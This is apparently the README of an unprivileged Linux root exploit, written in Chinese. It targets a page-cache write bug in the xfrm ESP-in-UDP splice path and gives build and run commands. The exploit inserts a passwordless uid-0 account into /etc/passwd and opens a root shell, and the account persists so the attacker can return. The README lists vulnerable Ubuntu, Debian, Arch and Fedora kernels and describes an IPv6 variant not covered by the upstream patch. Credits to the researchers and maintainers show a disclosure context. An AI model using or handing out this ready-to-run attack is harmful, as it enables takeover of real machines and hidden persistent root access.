通过 xfrm ESP-in-UDP MSG_SPLICE_PAGES 无 COW 快速路径实现的非特权 Linux 本地提权。将页缓存写入任意可读文件。用 sick::0:0:...:/:/bin/bash 覆盖 /etc/passwd 中的一行 nologin,然后 su 进入该账户。与 Copy Fail(CVE-2026-31431)属于同一类漏洞,但涉及不同的子系统。
sudo apt install -y libssl-dev gcc
gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
gcc -O2 -Wall aa-rootns.c -o aa-rootns
./run.sh # 安装并进入 root shell
./run.sh --clean # 通过同一原语还原 /etc/passwd
向 /etc/passwd 添加无密码的 uid-0 用户 sick,然后 exec su - sick。PAM 的 nullok 会静默接受空密码——无需任何输入。sick 这一行会保留在 /etc/passwd 中——重新运行即可直接回到 root。--clean 的状态保存在 /var/tmp/.cf2.state。
无需 sudo。esp4 / xfrm_user / xfrm_algo 通过 userns netlink 路径自动加载。
| 发行版 | 内核 | 结果 |
|---|---|---|
| Ubuntu 22.04 LTS | 5.15.0-176-generic | 不受影响* |
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
同样的漏洞存在于 esp6_input 中,且未被 v4 修复补丁 f4c50a4034 覆盖。PoC 位于 ipv6/:ipv6/run.sh 和 ipv6/copyfail2v6.c。使用 ::1 回环和 ip -6 xfrm。ESP 数据包填充至 >= 40 字节以通过 xfrm6_input.c:124 的大小检查。
Hyunwoo Kim (imv4bel) 和 Kuan-Ting Chen 报告、测试并编写了上游修复补丁。
Steffen Klassert:IPsec 维护者,将修复补丁发布到 netdev/net.git。
Brad Spengler (@spendergrsec / grsecurity):在其他人阅读该提交之前就将其称为 copyfail 类漏洞。
Theori / Xint:最初的 Copy Fail(CVE-2026-31431)。